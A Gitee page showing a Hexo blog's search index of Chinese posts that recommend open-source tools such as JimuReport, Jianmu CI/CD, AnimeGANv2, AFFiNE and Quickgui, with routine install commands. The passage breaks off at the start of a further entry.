2 Star 1 Fork 4

sourceteam / blog

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
search.xml 764.74 KB
一键复制 编辑 原始数据 按行查看 历史
zilong-tech 提交于 2022-10-09 17:35 . Site updated: 2022-10-09 17:35:19
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title></title>
<link href="/blog/2022/10/08/ting-bu-xia-lai-liao-you-yi-kuan-zei-hao-yong-de-bao-biao-gong-ju/"/>
<url>/blog/2022/10/08/ting-bu-xia-lai-liao-you-yi-kuan-zei-hao-yong-de-bao-biao-gong-ju/</url>
<content type="html"><![CDATA[<p>停不下来了!又一款贼好用的报表工具!</p><p>大家好,我是爱撸码的开源大叔。</p><p>这几天逛 GitHub 时,大叔又发现了一个很好用的开源报表工具,只需要拖拖拽拽就能搞定一个大屏数据和报表功能。简直是解放劳动力啊!赶紧收藏起来,万一以后老板又让我搞个报表工具出来,我就可以直接拿出这个项目升职加薪加官进爵了!当然,好东西也要分享给大家。</p><h2 id="项目介绍"><a href="#项目介绍" class="headerlink" title="项目介绍"></a>项目介绍</h2><p>积木报表是一款免费的数据可视化报表,就像它的名字一样,可以让你像搭积木一样来设计报表。报表形式主要包括数据报表、大屏展示、仪表盘等。积木报表有以下特点:</p><p><img src="http://img.esparks.cn/img/20220922145159_653d8aa0055f3f818a8be1ca6b7fb39b.png"></p><p>作为一个报表工具,肯定要支持多种数据源的展示。积木报表支持含常规、国产、大数据等 28 种数据库,以及 JSON 格式数据和 API 调用获取数据,足够我们日常使用了。</p><p><img src="http://img.esparks.cn/img/20220922145204_5c2f1197ac5832a6a5ac4d7d00a61654.png"></p><p>大屏展示的效果也是蛮酷的。</p><p><img src="http://img.esparks.cn/img/20220922145208_e0155f3ce1c876a97ff18caa37bdbf20.png"></p><h2 id="项目使用"><a href="#项目使用" class="headerlink" title="项目使用"></a>项目使用</h2><p>我们可以直接访问在线地址来体验一下,注册登录后,点击在线使用即可进入自己的报表管理页面。</p><p>点击<code>新建-&gt;新建报表</code>,来创建一个新的报表吧。</p><p><img src="http://img.esparks.cn/img/20220922145211_73e32103512f18d630a065a3f3710385.png"></p><p>在新建页面,左侧的数据集里,我们选择 JSON 数据集。</p><p><img src="http://img.esparks.cn/img/20220922145214_1f887474a5b304f48cc11399e28cd566.png"></p><p>这里我们填写一个符合格式的 JSON 数据,点击 JSON 解析,就可以分析出 JSON 数据集的各个字段。</p><p><img src="http://img.esparks.cn/img/20220922145216_814d73b28001bb8c7ff6ddd05d5e14be.png"></p><p>之后回到报表页面,编辑表头,并将左侧数据集的字段拖到每一行中,报表就编辑完成了!</p><p><img src="http://img.esparks.cn/img/20220922145219_63451484c0599bdc0d035be1de5ea9a9.png"></p><p>保存后,点击那个小眼睛样式的预览图标,可以看到效果,如图:</p><p><img src="http://img.esparks.cn/img/20220922145225_1952392a2ce1d8949f6d5eda0c1e61d3.png"></p><p>当然,就只是简单的来实现一下功能,报表的样式还是可以继续调整的哈。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>试用过积木报表之后,感觉创建报表还是很方便的,而且免费的报表工具,足够满足我们的日常需求了。如果你是 Spring boot 项目,集成起来也会更容易些。如果感兴趣就去尝试一下吧,项目信息如下:</p><pre class=" language-Java"><code class="language-Java">项目地址:https://github.com/jeecgboot/JimuReport在线地址:www.jimureport.com</code></pre>]]></content>
</entry>
<entry>
<title>快速玩转CI/CD图形化编排</title>
<link href="/blog/2022/10/08/xiang-mu-huan-ke-yi-zhe-yang-bu-shu/"/>
<url>/blog/2022/10/08/xiang-mu-huan-ke-yi-zhe-yang-bu-shu/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔。</p><p>今天给大家推荐一款好用的CI/CD工具。</p><p>建木是一个面向DevOps领域的极易扩展的图形化工具,帮助用户轻松编排各种DevOps流程并分发到不同平台执行。</p><h2 id="项目特点"><a href="#项目特点" class="headerlink" title="项目特点"></a>项目特点</h2><h3 id="图形化编排"><a href="#图形化编排" class="headerlink" title="图形化编排"></a>图形化编排</h3><p>自由拖拽节点,快速配置参数,高效构建项目。</p><p><img src="https://jianmu-blog.assets.dghub.cn/jianmu-blog/1.29.0/assets/blog-source/%E7%AC%AC%E4%B8%80%E5%B1%8F%E5%9B%BE.png"></p><h3 id="环境隔离"><a href="#环境隔离" class="headerlink" title="环境隔离"></a>环境隔离</h3><p>每个环境都在各自的容器内运行,运行后自动销毁回收。</p><h3 id="流程可视化"><a href="#流程可视化" class="headerlink" title="流程可视化"></a>流程可视化</h3><p>可视化配置流程,任务编排与执行状态一目了然。</p><p><img src="https://jianmu-official-site.assets.dghub.cn/jianmu-official-site/1.3.27/assets/carousel-img3.eff7e9f2.png"></p><h3 id="节点生态"><a href="#节点生态" class="headerlink" title="节点生态"></a>节点生态</h3><p>官方和社区提供多种节点,各种节点可以自由组合,满足各种场景。</p><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202210071052065.png"></p><h3 id="平台多样"><a href="#平台多样" class="headerlink" title="平台多样"></a>平台多样</h3><p>支持多种平台,用户自行选择。</p><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202210071054895.png"></p><h2 id="项目使用"><a href="#项目使用" class="headerlink" title="项目使用"></a>项目使用</h2><h3 id="部署"><a href="#部署" class="headerlink" title="部署"></a>部署</h3><p>使用docker-compose部署</p><p><strong>下载<code>docker-compose.yml</code></strong></p><pre class=" language-shell"><code class="language-shell">wget https://gitee.com/jianmu-dev/jianmu-deploy/raw/master/docker-compose.yml</code></pre><p>启动</p><pre class=" language-shell"><code class="language-shell">docker-compose up -d</code></pre><p>访问<a href="http://localhost/"><code>http://127.0.0.1</code></a>,默认<strong>用户名密码</strong>为<code>admin/123456</code>。</p><h3 id="编辑流程"><a href="#编辑流程" class="headerlink" title="编辑流程"></a>编辑流程</h3><p>使用建木CI快速构建maven项目</p><ul><li>使用<a href="https://hub.jianmu.run/_/git_clone">git clone</a>节点从git仓库中将项目clone下来</li><li>使用<a href="https://hub.jianmu.run/_/maven_build">maven 构建</a>节点将项目打成docker镜像,并且将其push到自己的docker hub仓库</li><li>使用docker pull,docker run命令把项目启动起来</li><li>使用<a href="https://hub.jianmu.run/_/qywx_notice">企业微信通知</a>节点通知项目部署完成</li></ul><p><img src="https://jianmu-blog.assets.dghub.cn/jianmu-blog/1.55.1/assets/%E6%8A%80%E6%9C%AF%E6%96%87%E7%AB%A0/%E5%9F%BA%E4%BA%8E%E5%BB%BA%E6%9C%A8CI%E9%83%A8%E7%BD%B2maven%E9%A1%B9%E7%9B%AE/image-20211203142933165.png"></p><h2 id="项目地址"><a href="#项目地址" class="headerlink" title="项目地址"></a>项目地址</h2><pre><code>https://gitee.com/jianmu-dev/jianmu</code></pre>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>4K Star , Github上照片转漫画最强项目</title>
<link href="/blog/2022/09/29/4k-star-github-shang-zhao-pian-zhuan-man-hua-zui-qiang-xiang-mu/"/>
<url>/blog/2022/09/29/4k-star-github-shang-zhao-pian-zhuan-man-hua-zui-qiang-xiang-mu/</url>
<content type="html"><![CDATA[<p>大家好,我是开源小妹。</p><p>最近在网上看到很多美美的实景照片被弄成了漫画,非常惊艳,满满的可爱风。于是乎去找了下,发现一个照片转漫画的开源项目 - AnimeGANv2。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>AnimeGANv2 是一个基于 tensorflow 使用 python 开发的一款开源图片转漫画的一个项目,目前已累积到了4K star,是个很不错的项目。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202210/202210032118432.png"></p><h2 id="效果"><a href="#效果" class="headerlink" title="效果"></a>效果</h2><p>学校围栏、大桥都很明显的动漫化了,妥妥的二次元风。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202210/202210032120761.png"><br>街景、行人也是漫画化了。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202210/202210032120375.png"><br>可可爱爱的漫画风~<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202210/202210032120288.png"></p><h2 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h2><h3 id="必要条件"><a href="#必要条件" class="headerlink" title="必要条件"></a>必要条件</h3><ul><li>python 3.6</li><li>tensorflow-gpu 1.15.0 (GPU 2080Ti, cuda 10.0.130, cudnn 7.6.0)</li><li>opencv</li><li>tqdm</li><li>numpy</li><li>glob</li><li>argparse</li><li>onnxruntime (If onnx file needs to be run.)<h3 id="图片转漫画"><a href="#图片转漫画" class="headerlink" title="图片转漫画"></a>图片转漫画</h3><pre><code>python test.py --checkpoint_dir checkpoint/generator_Hayao_weight --test_dir dataset/test/HR_photo --save_dir Hayao/HR_photo</code></pre>转完后公交就变得可可爱爱了。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202210/202210032121395.png"></li></ul><h3 id="视频转动画"><a href="#视频转动画" class="headerlink" title="视频转动画"></a>视频转动画</h3><pre><code>python video2anime.py --video video/input/お花見.mp4 --checkpoint_dir checkpoint/generator_Hayao_weight --output video/output</code></pre><p>视频也是可以全部转成动画的。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202210/202210032121253.png"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>这个框架是不是很强,视频、图片都可以变成漫画风,用来做漫画头像,漫画视频还是蛮好的。要是感兴趣就赶紧去试试吧~</p><h3 id="项目地址"><a href="#项目地址" class="headerlink" title="项目地址"></a>项目地址</h3><pre><code>https://github.com/TachibanaYoshino/AnimeGANv2</code></pre>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>摸鱼学习两不误,厉害了</title>
<link href="/blog/2022/09/27/mo-yu-xue-xi-liang-bu-wu-li-hai-liao/"/>
<url>/blog/2022/09/27/mo-yu-xue-xi-liang-bu-wu-li-hai-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是开源小妹。</p><p>最近逛 GitHub 发现一个有意思的开源项目 - moyu,整理了很多摸鱼游戏和工具,摸鱼学习两不误。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>moyu 这个项目是集前端小游戏、工具、动画demo于一体的开源项目,作者立志打造一个拥有100个小游戏/工具的摸鱼开源项目及网站,目前仍然在持续更新中。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202209/202209272046151.png"></p><h2 id="分类"><a href="#分类" class="headerlink" title="分类"></a>分类</h2><h3 id="游戏"><a href="#游戏" class="headerlink" title="游戏"></a>游戏</h3><p>一些常见的游戏都有源码,作者也还在持续整理中。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202209/202209272046124.png"><br>这里手痒,点开了个2048耍了下,结果没过…<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202209/202209272046813.png"></p><h3 id="工具"><a href="#工具" class="headerlink" title="工具"></a>工具</h3><p>一些常用工具都在陆续整理中<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202209/202209272047667.png"><br>其中我比较常用的是待办清单、自定义大转盘(困难选择拯救神器)、随机密码生成器</p><p><strong>待办清单</strong><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202209/202209272047884.png"><br><strong>自定义大转盘</strong><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202209/202209272047053.png"><br><strong>随机密码生成器</strong><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202209/202209272047225.png"></p><h3 id="动画"><a href="#动画" class="headerlink" title="动画"></a>动画</h3><p>一些好看的动画demo也在持续更新中<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202209/202209272047134.png"><br><strong>漫天樱花</strong><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202209/202209272048039.png"></p><p><strong>表白神器</strong><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202209/202209272047808.png"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>怎么样是不是有很多可以摸鱼学习的小游戏,实用的小工具,还有美美的动画。感兴趣的话就快去下载项目学习学习,摸鱼一下吧。</p><h3 id="项目地址"><a href="#项目地址" class="headerlink" title="项目地址"></a>项目地址</h3><pre><code>https://github.com/wanghao221/moyuhttps://haiyong.site/moyu/</code></pre>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>下一代知识库,惊呆了</title>
<link href="/blog/2022/09/25/xia-yi-dai-zhi-shi-ku-liang-ai-liao/"/>
<url>/blog/2022/09/25/xia-yi-dai-zhi-shi-ku-liang-ai-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔<br>今天发现一款很赞协作知识库,是 <strong>Notion</strong> &amp; <strong>Miro</strong> 的免费替代品,完全开源,隐私优先 - <strong>AFFiNE</strong></p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p><strong>AFFiNE</strong> 号称是面向专业人士的下一代协同知识库。AFFINE 完全建立在块的概念基础上,可以很方便的在文档之间进行链接、复制、重用等。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202209/202209252233019.png"><br><strong>AFFINE</strong> 使用的是 <a href="https://github.com/toeverything/AFFiNE/blob/develop/LICENSE">MIT License</a> 所以是完全免费的,可商用的。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202209/202209252233520.png"></p><h2 id="功能"><a href="#功能" class="headerlink" title="功能"></a>功能</h2><h3 id="自定义页面"><a href="#自定义页面" class="headerlink" title="自定义页面"></a>自定义页面</h3><p>可以很方便的通过拖拽,标记等方式,自定义笔记页面的布局,样式,类似于白板样的功能。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202209/202209252232039.gif"></p><h3 id="规划任务"><a href="#规划任务" class="headerlink" title="规划任务"></a>规划任务</h3><p>可以添加各种任务,支持手动拖拽对任务进行编排,可以按看板类似的形式展示任务进度。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202209/202209252232319.gif"></p><h3 id="整理知识"><a href="#整理知识" class="headerlink" title="整理知识"></a>整理知识</h3><p>可以根据不同类型,对知识进行分类,直接拖拽即可完成。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202209/202209252232165.gif"></p><h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2><p>前提条件是安装了<strong>node.js</strong>(版本&gt;=16)及<strong>npnm</strong>工具</p><h3 id="克隆源码"><a href="#克隆源码" class="headerlink" title="克隆源码"></a>克隆源码</h3><pre><code>git clone https://github.com/toeverything/AFFiNE.git</code></pre><h3 id="选择分支"><a href="#选择分支" class="headerlink" title="选择分支"></a>选择分支</h3><pre><code>cd AFFiNE &amp;&amp; git checkout master</code></pre><h3 id="安装依赖"><a href="#安装依赖" class="headerlink" title="安装依赖"></a>安装依赖</h3><pre><code>pnpm install</code></pre><h3 id="启动"><a href="#启动" class="headerlink" title="启动"></a>启动</h3><pre><code>pnpm start</code></pre><h3 id="访问"><a href="#访问" class="headerlink" title="访问"></a>访问</h3><pre><code>http://localhost:4200</code></pre><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p><strong>AFFiNE</strong> 它不仅仅是一个文档、白板和表格的集合,它更类似于积木,可以将各种各样的想法可以思考链接在一起。最重要的还支持协作,可以极大的提高工作沟通的效率。</p><p>开源免费,还注重隐私安全,颜值也不错,还支持协作,算是一个良心之作。</p><h3 id="项目地址-amp-官网"><a href="#项目地址-amp-官网" class="headerlink" title="项目地址 &amp; 官网"></a>项目地址 &amp; 官网</h3><pre><code>https://github.com/toeverything/AFFiNEhttps://affine.pro/</code></pre>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>5K+ star!这款开源桌面虚拟机,太强悍了!</title>
<link href="/blog/2022/09/18/5k-star-zhe-kuan-kai-yuan-zhuo-mian-xu-ni-ji-tai-qiang-han-liao/"/>
<url>/blog/2022/09/18/5k-star-zhe-kuan-kai-yuan-zhuo-mian-xu-ni-ji-tai-qiang-han-liao/</url>
<content type="html"><![CDATA[<p>=======</p><p>大家好,我是爱撸码的开源大叔!</p><p>今天大叔给大家推荐的项目是 - <code>Quickgui</code>,一款开源桌面虚拟机工具,可以轻松在 Linux 系统上安装 Windows、macOS、Linux,功能很强。</p><p><img src="https://files.mdnice.com/user/20902/012f2e83-684e-47a4-bc0e-a3524a1f2a7d.png"></p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>说起 Quickgui,首先要先介绍一下大名鼎鼎的 Quickemu。</p><p><img src="https://files.mdnice.com/user/20902/2313e1bd-8fb0-4317-81bc-574e222438bc.png"></p><p>Quickemu 是一款开源跨平台的桌面虚拟机工具,可以快速创建和运行 Linux、macOS 和 Windows 的虚拟机,不需要 sudo 或 root 权限来运行虚拟机。 </p><p>该项目的最初目标是实现对 Linux 发行版的快速测试,现在已经对 macOS 和 Windows 全面支持。</p><p>而 Quickgui,是一个使用 Flutter 开发的图形化前端界面,由另一组开发人员开发,以帮助在没有终端的情况下使用 Quickemu。</p><h2 id="Quickgui-的特点"><a href="#Quickgui-的特点" class="headerlink" title="Quickgui 的特点"></a>Quickgui 的特点</h2><p><img src="https://files.mdnice.com/user/20902/d4032282-acfb-4280-81b7-362cbf801dfd.png"></p><p>因为核心利用的是 Quickemu,因此两者具有同样的功能:</p><p><img src="https://files.mdnice.com/user/20902/a3334eb0-808d-4238-8cd6-bf5b522e08a1.png"></p><h2 id="Quickgui-入门"><a href="#Quickgui-入门" class="headerlink" title="Quickgui 入门"></a>Quickgui 入门</h2><h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><p>1、安装 Quickemu 和 Quickget,这个参考 Quickemu 项目地址很容易实现。</p><pre><code>https://github.com/quickemu-project/quickemu</code></pre><p>2、安装 Quickgui</p><p>Ubuntu 及其衍生产品中安装 Quickgui,可以从如下所示的 PPA 安装 Quickgui。</p><pre><code>$ sudo add-apt-repository ppa:yannick-mauray/quickgui$ sudo apt update$ sudo apt install quickgui</code></pre><p>其他 Linux 平台上,从发布页面下载预编译的二进制文件。</p><pre><code>$ wget https://github.com/quickemu-project/quickgui/releases/download/v1.2.4/quickgui-1.2.4.tar.xz$ cd quickgui-1.2.4/$ ./quickgui</code></pre><h3 id="创建虚拟机"><a href="#创建虚拟机" class="headerlink" title="创建虚拟机"></a>创建虚拟机</h3><p>用户界面很简单,只有两个选项:“管理现有机器” 和 “创建新机器”。<br>点击“创建”来开始制作虚拟机。</p><p><img src="https://files.mdnice.com/user/20902/1ed91b63-dc61-4c75-89df-caa39d418a20.png"></p><p>选择操作系统类型及其版本,然后单击下载。所选操作系统的 ISO 映像将被下载并保存 HOME 目录中。当然如果是从其他目录手动启动 Quickgui,则 ISO 文件将保存在该目录中。</p><p><img src="https://files.mdnice.com/user/20902/5b3bdf19-e6d5-4a45-8637-56c129c116c8.png"></p><p>点击下载按钮后,Quickgui 将开始下载所选操作系统的 ISO。</p><p><img src="https://files.mdnice.com/user/20902/1cd5d0d0-7380-4999-a2e4-187cf200b518.png"></p><h3 id="运行虚拟机"><a href="#运行虚拟机" class="headerlink" title="运行虚拟机"></a>运行虚拟机</h3><p>返回主菜单,单击“管理现有机器”按钮,可以看到下载的 ISO 映像列表。</p><p><img src="https://files.mdnice.com/user/20902/e958e44e-66ba-46d5-b879-820a21abfd97.png"></p><p>这样虚拟机就正常启动了。<br><img src="https://files.mdnice.com/user/20902/55844868-ae75-4be6-922f-ad82cfada797.png"></p><h3 id="访问虚拟机"><a href="#访问虚拟机" class="headerlink" title="访问虚拟机"></a>访问虚拟机</h3><p>一般可以直接通过 Spicy 客户端或者 SSH 两种方式来访问。</p><p>单击 Quickgui 管理器窗口中的“使用 SPICE 连接显示器”按钮即可访问/查看虚拟机的控制台。</p><p>或者单击“使用 SSH 连接”按钮(在 SPICE 客户端旁边)通过 SSH 访问来宾操作系统。但是,只有安装和配置了 SSH 后,SSH 按钮才会启用。</p><p><img src="https://files.mdnice.com/user/20902/89b14601-2c92-4dcc-abb0-a4954b9b20be.png"></p><p>当然,Quickgui 还支持一些附加功能,例如 USB 直通、剪贴板以及开箱即用的主机、虚拟机之间的文件共享。</p><h3 id="停止-amp-删除虚拟机"><a href="#停止-amp-删除虚拟机" class="headerlink" title="停止&amp;删除虚拟机"></a>停止&amp;删除虚拟机</h3><p>要停止正在运行的 VM,请单击 Quickgui 管理器窗口中的停止按钮。</p><p><img src="https://files.mdnice.com/user/20902/477e1de1-095a-44be-b163-248436101024.png"></p><p>先停止 VM,然后单击删除按钮。可以选择仅删除 VM 磁盘并保留配置或删除整个 VM。</p><p><img src="https://files.mdnice.com/user/20902/931b15de-a5e0-4f6a-b7c3-d66b87437603.png"></p><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>Quickgui 对于新手来说非常友好,非常容易在 Linux 中创建和管理虚拟机,是 Oracle Virtualbox 的一个不错的替代品。有兴趣的可以下载去体验一波。</p><pre><code>项目地址:https://github.com/quickemu-project/quickgui</code></pre><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>太牛了!还没毕业就搞出个21k star的项目!</title>
<link href="/blog/2022/09/15/tai-niu-liao-huan-mei-bi-ye-jiu-gao-chu-ge-21k-star-de-xiang-mu/"/>
<url>/blog/2022/09/15/tai-niu-liao-huan-mei-bi-ye-jiu-gao-chu-ge-21k-star-de-xiang-mu/</url>
